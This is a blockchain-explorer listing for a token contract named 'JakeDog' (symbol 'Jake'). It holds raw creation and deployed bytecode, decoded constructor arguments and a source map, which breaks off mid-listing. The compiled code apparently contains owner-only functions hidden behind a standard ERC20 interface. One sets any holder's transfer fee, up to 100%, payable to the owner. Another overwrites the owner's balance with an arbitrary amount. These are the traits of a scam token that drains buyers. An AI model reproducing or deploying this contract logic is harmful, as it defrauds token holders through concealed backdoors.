00000000000000000000000000000000000002dcbf4840eca000000000000000000000000000000000000000000000000000000000000000000074a616b65446f670000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044a616b6500000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101165760003560e01c80638da5cb5b116100a2578063ce571b2411610071578063ce571b24146102f7578063dd62ed3e14610327578063f2b2917014610357578063f2fde38b14610373578063ffa1ad741461038f57610116565b80638da5cb5b1461025b57806395d89b4114610279578063a457c2d714610297578063a9059cbb146102c757610116565b8063313ce567116100e9578063313ce567146101b757806339509351146101d557806362dfa71f1461020557806370a0823114610221578063715018a61461025157610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd1461016957806323b872dd14610187575b600080fd5b6101236103ad565b6040516101309190611619565b60405180910390f35b610153600480360381019061014e9190611437565b61043f565b60405161016091906115fe565b60405180910390f35b61017161045d565b60405161017e91906116fb565b60405180910390f35b6101a1600480360381019061019c91906113e8565b610467565b6040516101ae91906115fe565b60405180910390f35b6101bf610540565b6040516101cc9190611716565b60405180910390f35b6101ef60048036038101906101ea9190611437565b610557565b6040516101fc91906115fe565b60405180910390f35b61021f600480360381019061021a9190611437565b61060a565b005b61023b60048036038101906102369190611383565b6106ce565b60405161024891906116fb565b60405180910390f35b610259610717565b005b61026361079f565b60405161027091906115e3565b60405180910390f35b6102816107c8565b60405161028e9190611619565b60405180910390f35b6102b160048036038101906102ac9190611437565b61085a565b6040516102be91906115fe565b60405180910390f35b6102e160048036038101906102dc9190611437565b610927565b6040516102ee91906115fe565b60405180910390f35b610311600480360381019061030c9190611383565b610945565b60405161031e91906116fb565b60405180910390f35b610341600480360381019061033c91906113ac565b61098e565b60405161034e91906116fb565b60405180910390f35b610371600480360381019061036c9190611473565b610a15565b005b61038d60048036038101906103889190611383565b610adf565b005b610397610bd7565b6040516103a491906116fb565b60405180910390f35b6060600480546103bc906118ea565b80601f01602080910402602001604051908101604052809291908181526020018280546103e8906118ea565b80156104355780601f1061040a57610100808354040283529160200191610435565b820191906000526020600020905b81548152906001019060200180831161041857829003601f168201915b5050505050905090565b600061045361044c610bf2565b8484610bfa565b6001905092915050565b6000600754905090565b6000610474848484610dc5565b61053584610480610bf2565b61053085604051806060016040528060288152602001611bc360289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104e6610bf2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111f99092919063ffffffff16565b610bfa565b600190509392505050565b6000600660009054906101000a900460ff16905090565b6000610600610564610bf2565b846105fb8560026000610575610bf2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bdc90919063ffffffff16565b610bfa565b6001905092915050565b610612610bf2565b73ffffffffffffffffffffffffffffffffffffffff1661063061079f565b73ffffffffffffffffffffffffffffffffffffffff1614610686576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067d9061169b565b60405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61071f610bf2565b73ffffffffffffffffffffffffffffffffffffffff1661073d61079f565b73ffffffffffffffffffffffffffffffffffffffff1614610793576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078a9061169b565b60405180910390fd5b61079d600061124e565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546107d7906118ea565b80601f0160208091040260200160405190810160405280929190818152602001828054610803906118ea565b80156108505780601f1061082557610100808354040283529160200191610850565b820191906000526020600020905b81548152906001019060200180831161083357829003601f168201915b5050505050905090565b600061091d610867610bf2565b8461091885604051806060016040528060258152602001611beb6025913960026000610891610bf2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111f99092919063ffffffff16565b610bfa565b6001905092915050565b600061093b610934610bf2565b8484610dc5565b6001905092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a1d610bf2565b73ffffffffffffffffffffffffffffffffffffffff16610a3b61079f565b73ffffffffffffffffffffffffffffffffffffffff1614610a91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a889061169b565b60405180910390fd5b8060016000610a9e61079f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b610ae7610bf2565b73ffffffffffffffffffffffffffffffffffffffff16610b0561079f565b73ffffffffffffffffffffffffffffffffffffffff1614610b5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b529061169b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610bcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc29061165b565b60405180910390fd5b610bd48161124e565b50565b600181565b60008183610bea919061174d565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c61906116db565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610cda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd19061167b565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610db891906116fb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2c906116bb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c9061163b565b60405180910390fd5b610eb0838383611312565b6000610f176064610f09600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548561131790919063ffffffff16565b61132d90919063ffffffff16565b90506000610f2e828461134390919063ffffffff16565b9050610f9c83604051806060016040528060268152602001611b9d60269139600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111f99092919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103181600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bdc90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110cd826001600061108461079f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bdc90919063ffffffff16565b600160006110d961079f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161117491906116fb565b60405180910390a360008211156111f25761118d61079f565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111e991906116fb565b60405180910390a35b5050505050565b6000838311158290611241576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112389190611619565b60405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b6000818361132591906117d4565b905092915050565b6000818361133b91906117a3565b905092915050565b60008183611351919061182e565b905092915050565b60008135905061136881611b6e565b92915050565b60008135905061137d81611b85565b92915050565b60006020828403121561139557600080fd5b60006113a384828501611359565b91505092915050565b600080604083850312156113bf57600080fd5b60006113cd85828601611359565b92505060206113de85828601611359565b9150509250929050565b6000806000606084860312156113fd57600080fd5b600061140b86828701611359565b935050602061141c86828701611359565b925050604061142d8682870161136e565b9150509250925092565b6000806040838503121561144a57600080fd5b600061145885828601611359565b92505060206114698582860161136e565b9150509250929050565b60006020828403121561148557600080fd5b60006114938482850161136e565b91505092915050565b6114a581611862565b82525050565b6114b481611874565b82525050565b60006114c582611731565b6114cf818561173c565b93506114df8185602086016118b7565b6114e8816119a9565b840191505092915050565b600061150060238361173c565b915061150b826119ba565b604082019050919050565b600061152360268361173c565b915061152e82611a09565b604082019050919050565b600061154660228361173c565b915061155182611a58565b604082019050919050565b600061156960208361173c565b915061157482611aa7565b602082019050919050565b600061158c60258361173c565b915061159782611ad0565b604082019050919050565b60006115af60248361173c565b91506115ba82611b1f565b604082019050919050565b6115ce816118a0565b82525050565b6115dd816118aa565b82525050565b60006020820190506115f8600083018461149c565b92915050565b600060208201905061161360008301846114ab565b92915050565b6000602082019050818103600083015261163381846114ba565b905092915050565b60006020820190508181036000830152611654816114f3565b9050919050565b6000602082019050818103600083015261167481611516565b9050919050565b6000602082019050818103600083015261169481611539565b9050919050565b600060208201905081810360008301526116b48161155c565b9050919050565b600060208201905081810360008301526116d48161157f565b9050919050565b600060208201905081810360008301526116f4816115a2565b9050919050565b600060208201905061171060008301846115c5565b92915050565b600060208201905061172b60008301846115d4565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611758826118a0565b9150611763836118a0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156117985761179761191c565b5b828201905092915050565b60006117ae826118a0565b91506117b9836118a0565b9250826117c9576117c861194b565b5b828204905092915050565b60006117df826118a0565b91506117ea836118a0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156118235761182261191c565b5b828202905092915050565b6000611839826118a0565b9150611844836118a0565b9250828210156118575761185661191c565b5b828203905092915050565b600061186d82611880565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156118d55780820151818401526020810190506118ba565b838111156118e4576000848401525b50505050565b6000600282049050600182168061190257607f821691505b602082108114156119165761191561197a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b611b7781611862565b8114611b8257600080fd5b50565b611b8e816118a0565b8114611b9957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c099892aaa5fbcdedae601f07c895cd79ef1306bf09fe9c04ffb9963e798480964736f6c63430008040033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000090000000000000000000000000000000000000000000000002dcbf4840eca000000000000000000000000000000000000000000000000000000000000000000074a616b65446f670000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044a616b6500000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): JakeDog
Arg [1] : symbol_ (string): Jake
Arg [2] : decimals_ (uint8): 9
Arg [3] : totalSupply_ (uint256): 3300000000000000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [3] : 0000000000000000000000000000000000000000000000002dcbf4840eca0000
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [5] : 4a616b65446f6700000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [7] : 4a616b6500000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

5243:5938:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6385:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7422:210;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6686:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7640:454;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6587:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8102:300;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6054:100;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6802:177;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1712:94;;;:::i;:::-;;1489:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6484:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8410:400;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6987:216;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6160:103;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7211:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6269:106;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1814:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5338:35;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6385:91;6430:13;6463:5;6456:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6385:91;:::o;7422:210::-;7541:4;7563:39;7572:12;:10;:12::i;:::-;7586:7;7595:6;7563:8;:39::i;:::-;7620:4;7613:11;;7422:210;;;;:::o;6686:108::-;6747:7;6774:12;;6767:19;;6686:108;:::o;7640:454::-;7780:4;7797:36;7807:6;7815:9;7826:6;7797:9;:36::i;:::-;7844:220;7867:6;7888:12;:10;:12::i;:::-;7915:138;7971:6;7915:138;;;;;;;;;;;;;;;;;:11;:19;7927:6;7915:19;;;;;;;;;;;;;;;:33;7935:12;:10;:12::i;:::-;7915:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;7844:8;:220::i;:::-;8082:4;8075:11;;7640:454;;;;;:::o;6587:91::-;6636:5;6661:9;;;;;;;;;;;6654:16;;6587:91;:::o;8102:300::-;8217:4;8239:133;8262:12;:10;:12::i;:::-;8289:7;8311:50;8350:10;8311:11;:25;8323:12;:10;:12::i;:::-;8311:25;;;;;;;;;;;;;;;:34;8337:7;8311:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;8239:8;:133::i;:::-;8390:4;8383:11;;8102:300;;;;:::o;6054:100::-;1635:12;:10;:12::i;:::-;1624:23;;:7;:5;:7::i;:::-;:23;;;1616:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6144:2:::1;6127:5;:14;6133:7;6127:14;;;;;;;;;;;;;;;:19;;;;6054:100:::0;;:::o;6802:177::-;6921:7;6953:9;:18;6963:7;6953:18;;;;;;;;;;;;;;;;6946:25;;6802:177;;;:::o;1712:94::-;1635:12;:10;:12::i;:::-;1624:23;;:7;:5;:7::i;:::-;:23;;;1616:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1777:21:::1;1795:1;1777:9;:21::i;:::-;1712:94::o:0;1489:87::-;1535:7;1562:6;;;;;;;;;;;1555:13;;1489:87;:::o;6484:95::-;6531:13;6564:7;6557:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6484:95;:::o;8410:400::-;8530:4;8552:228;8575:12;:10;:12::i;:::-;8602:7;8624:145;8681:15;8624:145;;;;;;;;;;;;;;;;;:11;:25;8636:12;:10;:12::i;:::-;8624:25;;;;;;;;;;;;;;;:34;8650:7;8624:34;;;;;;;;;;;;;;;;:38;;:145;;;;;:::i;:::-;8552:8;:228::i;:::-;8798:4;8791:11;;8410:400;;;;:::o;6987:216::-;7109:4;7131:42;7141:12;:10;:12::i;:::-;7155:9;7166:6;7131:9;:42::i;:::-;7191:4;7184:11;;6987:216;;;;:::o;6160:103::-;6214:7;6241:5;:14;6247:7;6241:14;;;;;;;;;;;;;;;;6234:21;;6160:103;;;:::o;7211:201::-;7345:7;7377:11;:18;7389:5;7377:18;;;;;;;;;;;;;;;:27;7396:7;7377:27;;;;;;;;;;;;;;;;7370:34;;7211:201;;;;:::o;6269:106::-;1635:12;:10;:12::i;:::-;1624:23;;:7;:5;:7::i;:::-;:23;;;1616:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6357:10:::1;6336:9;:18;6346:7;:5;:7::i;:::-;6336:18;;;;;;;;;;;;;;;:31;;;;6269:106:::0;:::o;1814:192::-;1635:12;:10;:12::i;:::-;1624:23;;:7;:5;:7::i;:::-;:23;;;1616:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1923:1:::1;1903:22;;:8;:22;;;;1895:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;1979:19;1989:8;1979:9;:19::i;:::-;1814:192:::0;:::o;5338:35::-;5372:1;5338:35;:::o;3569:98::-;3627:7;3658:1;3654;:5;;;;:::i;:::-;3647:12;;3569:98;;;;:::o;1044:::-;1097:7;1124:10;1117:17;;1044:98;:::o;10559:380::-;10712:1;10695:19;;:5;:19;;;;10687:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10793:1;10774:21;;:7;:21;;;;10766:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10877:6;10847:11;:18;10859:5;10847:18;;;;;;;;;;;;;;;:27;10866:7;10847:27;;;;;;;;;;;;;;;:36;;;;10915:7;10899:32;;10908:5;10899:32;;;10924:6;10899:32;;;;;;:::i;:::-;;;;;;;;10559:380;;;:::o;8818:884::-;8976:1;8958:20;;:6;:20;;;;8950:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;9060:1;9039:23;;:9;:23;;;;9031:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;9115:47;9136:6;9144:9;9155:6;9115:20;:47::i;:::-;9175:11;9189:34;9219:3;9189:25;9200:5;:13;9206:6;9200:13;;;;;;;;;;;;;;;;9189:6;:10;;:25;;;;:::i;:::-;:29;;:34;;;;:::i;:::-;9175:48;;9235:22;9260:15;9271:3;9260:6;:10;;:15;;;;:::i;:::-;9235:40;;9308:108;9344:6;9308:108;;;;;;;;;;;;;;;;;:9;:17;9318:6;9308:17;;;;;;;;;;;;;;;;:21;;:108;;;;;:::i;:::-;9288:9;:17;9298:6;9288:17;;;;;;;;;;;;;;;:128;;;;9450:40;9475:14;9450:9;:20;9460:9;9450:20;;;;;;;;;;;;;;;;:24;;:40;;;;:::i;:::-;9427:9;:20;9437:9;9427:20;;;;;;;;;;;;;;;:63;;;;9522:27;9545:3;9522:9;:18;9532:7;:5;:7::i;:::-;9522:18;;;;;;;;;;;;;;;;:22;;:27;;;;:::i;:::-;9501:9;:18;9511:7;:5;:7::i;:::-;9501:18;;;;;;;;;;;;;;;:48;;;;9583:9;9566:43;;9575:6;9566:43;;;9594:14;9566:43;;;;;;:::i;:::-;;;;;;;;9630:1;9624:3;:7;9620:75;;;9670:7;:5;:7::i;:::-;9653:30;;9662:6;9653:30;;;9679:3;9653:30;;;;;;:::i;:::-;;;;;;;;9620:75;8818:884;;;;;:::o;4099:240::-;4219:7;4277:1;4272;:6;;4280:12;4264:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;4319:1;4315;:5;4308:12;;4099:240;;;;;:::o;2014:173::-;2070:16;2089:6;;;;;;;;;;;2070:25;;2115:8;2106:6;;:17;;;;;;;;;;;;;;;;;;2170:8;2139:40;;2160:8;2139:40;;;;;;;;;;;;2014:173;;:::o;11053:125::-;;;;:::o;3781:98::-;3839:7;3870:1;3866;:5;;;;:::i;:::-;3859:12;;3781:98;;;;:::o;3887:::-;3945:7;3976:1;3972;:5;;;;:::i;:::-;3965:12;;3887:98;;;;:::o;3675:::-;3733:7;3764:1;3760;:5;;;;:::i;:::-;3753:12;;3675:98;;;;:::o;7:139:1:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:139::-;198:5;236:6;223:20;214:29;;252:33;279:5;252:33;:::i;:::-;204:87;;;;:::o;297:262::-;356:6;405:2;393:9;384:7;380:23;376:32;373:2;;;421:1;418;411:12;373:2;464:1;489:53;534:7;525:6;514:9;510:22;489:53;:::i;:::-;479:63;;435:117;363:196;;;;:::o;565:407::-;633:6;641;690:2;678:9;669:7;665:23;661:32;658:2;;;706:1;703;696:12;658:2;749:1;774:53;819:7;810:6;799:9;795:22;774:53;:::i;:::-;764:63;;720:117;876:2;902:53;947:7;938:6;927:9;923:22;902:53;:::i;:::-;892:63;;847:118;648:324;;;;;:::o;978:552::-;1055:6;1063;1071;1120:2;1108:9;1099:7;1095:23;1091:32;1088:2;;;1136:1;1133;1126:12;1088:2;1179:1;1204:53;1249:7;1240:6;1229:9;1225:22;1204:53;:::i;:::-;1194:63;;1150:117;1306:2;1332:53;1377:7;1368:6;1357:9;1353:22;1332:53;:::i;:::-;1322:63;;1277:118;1434:2;1460:53;1505:7;1496:6;1485:9;1481:22;1460:53;:::i;:::-;1450:63;;1405:118;1078:452;;;;;:::o;1536:407::-;1604:6;1612;1661:2;1649:9;1640:7;1636:23;1632:32;1629:2;;;1677:1;1674;1667:12;1629:2;1720:1;1745:53;1790:7;1781:6;1770:9;1766:22;1745:53;:::i;:::-;1735:63;;1691:117;1847:2;1873:53;1918:7;1909:6;1898:9;1894:22;1873:53;:::i;:::-;1863:63;;1818:118;1619:324;;;;;:::o;1949:262::-;2008:6;2057:2;2045:9;2036:7;2032:23;2028:32;2025:2;;;2073:1;2070;2063:12;2025:2;2116:1;2141:53;2186:7;2177:6;2166:9;2162:22;2141:53;:::i;:::-;2131:63;;2087:117;2015:196;;;;:::o;2217:118::-;2304:24;2322:5;2304:24;:::i;:::-;2299:3;2292:37;2282:53;;:::o;2341:109::-;2422:21;2437:5;2422:21;:::i;:::-;2417:3;2410:34;2400:50;;:::o;2456:364::-;2544:3;2572:39;2605:5;2572:39;:::i;:::-;2627:71;2691:6;2686:3;2627:71;:::i;:::-;2620:78;;2707:52;2752:6;2747:3;2740:4;2733:5;2729:16;2707:52;:::i;:::-;2784:29;2806:6;2784:29;:::i;:::-;2779:3;2775:39;2768:46;;2548:272;;;;;:::o;2826:366::-;2968:3;2989:67;3053:2;3048:3;2989:67;:::i;:::-;2982:74;;3065:93;3154:3;3065:93;:::i;:::-;3183:2;3178:3;3174:12;3167:19;;2972:220;;;:::o;3198:366::-;3340:3;3361:67;3425:2;3420:3;3361:67;:::i;:::-;3354:74;;3437:93;3526:3;3437:93;:::i;:::-;3555:2;3550:3;3546:12;3539:19;;3344:220;;;:::o;3570:366::-;3712:3;3733:67;3797:2;3792:3;3733:67;:::i;:::-;3726:74;;3809:93;3898:3;3809:93;:::i;:::-;3927:2;3922:3;3918:12;3911:19;;3716:220;;;:::o;3942:366::-;4084:3;4105:67;4169:2;4164:3;4105:67;:::i;:::-;4098:74;;4181:93;4270:3;4181:93;:::i;:::-;4299:2;4294:3;4290:12;4283:19;;4088:220;;;:::o;4314:366::-;4456:3;4477:67;4541:2;4536:3;4477:67;:::i;:::-;4470:74;;4553:93;4642:3;4553:93;:::i;:::-;4671:2;4666:3;4662:12;4655:19;;4460:220;;;:::o;4686:366::-;4828:3;4849:67;4913:2;4908:3;4849:67;:::i;:::-;4842:74;;4925:93;5014:3;4925:93;:::i;:::-;5043:2;5038:3;5034:12;5027:19;;4832:220;;;:::o;5058:118::-;5145:24;5163:5;5145:24;:::i;:::-;5140:3;5133:37;5123:53;;:::o;5182:112::-;5265:22;5281:5;5265:22;:::i;:::-;5260:3;5253:35;5243:51;;:::o;5300:222::-;5393:4;5431:2;5420:9;5416:18;5408:26;;5444:71;5512:1;5501:9;5497:17;5488:6;5444:71;:::i;:::-;5398:124;;;;:::o;5528:210::-;5615:4;5653:2;5642:9;5638:18;5630:26;;5666:65;5728:1;5717:9;5713:17;5704:6;5666:65;:::i;:::-;5620:118;;;;:::o;5744:313::-;5857:4;5895:2;5884:9;5880:18;5872:26;;5944:9;5938:4;5934:20;5930:1;5919:9;5915:17;5908:47;5972:78;6045:4;6036:6;5972:78;:::i;:::-;5964:86;;5862:195;;;;:::o;6063:419::-;6229:4;6267:2;6256:9;6252:18;6244:26;;6316:9;6310:4;6306:20;6302:1;6291:9;6287:17;6280:47;6344:131;6470:4;6344:131;:::i;:::-;6336:139;;6234:248;;;:::o;6488:419::-;6654:4;6692:2;6681:9;6677:18;6669:26;;6741:9;6735:4;6731:20;6727:1;6716:9;6712:17;6705:47;6769:131;6895:4;6769:131;:::i;:::-;6761:139;;6659:248;;;:::o;6913:419::-;7079:4;7117:2;7106:9;7102:18;7094:26;;7166:9;7160:4;7156:20;7152:1;7141:9;7137:17;7130:47;7194:131;7320:4;7194:131;:::i;:::-;7186:139;;7084:248;;;:::o;7338:419::-;7504:4;7542:2;7531:9;7527:18;7519:26;;7591:9;7585:4;7581:20;7577:1;7566:9;7562:17;7555:47;7619:131;7745:4;7619:131;:::i;:::-;7611:139;;7509:248;;;:::o;7763:419::-;7929:4;7967:2;7956:9;7952:18;7944:26;;8016:9;8010:4;8006:20;8002:1;7991:9;7987:17;7980:47;8044:131;8170:4;8044:131;:::i;:::-;8036:139;;7934:248;;;:::o;8188:419::-;8354:4;8392:2;8381:9;8377:18;8369:26;;8441:9;8435:4;8431:20;8427:1;8416:9;8412:17;8405:47;8469:131;8595:4;8469:131;:::i;:::-;8461:139;;8359:248;;;:::o;8613:222::-;8706:4;8744:2;8733:9;8729:18;8721:26;;8757:71;8825:1;8814:9;8810:17;8801:6;8757:71;:::i;:::-;8711:124;;;;:::o;8841:214::-;8930:4;8968:2;8957:9;8953:18;8945:26;;8981:67;9045:1;9034:9;9030:17;9021:6;8981:67;:::i;:::-;8935:120;;;;:::o;9061:99::-;9113:6;9147:5;9141:12;9131:22;;9120:40;;;:::o;9166:169::-;9250:11;9284:6;9279:3;9272:19;9324:4;9319:3;9315:14;9300:29;;9262:73;;;;:::o;9341:305::-;9381:3;9400:20;9418:1;9400:20;:::i;:::-;9395:25;;9434:20;9452:1;9434:20;:::i;:::-;9429:25;;9588:1;9520:66;9516:74;9513:1;9510:81;9507:2;;;9594:18;;:::i;:::-;9507:2;9638:1;9635;9631:9;9624:16;;9385:261;;;;:::o;9652:185::-;9692:1;9709:20;9727:1;9709:20;:::i;:::-;9704:25;;9743:20;9761:1;9743:20;:::i;:::-;9738:25;;9782:1;9772:2;;9787:18;;:::i;:::-;9772:2;9829:1;9826;9822:9;9817:14;;9694:143;;;;:::o;9843:348::-;9883:7;9906:20;9924:1;9906:20;:::i;:::-;9901:25;;9940:20;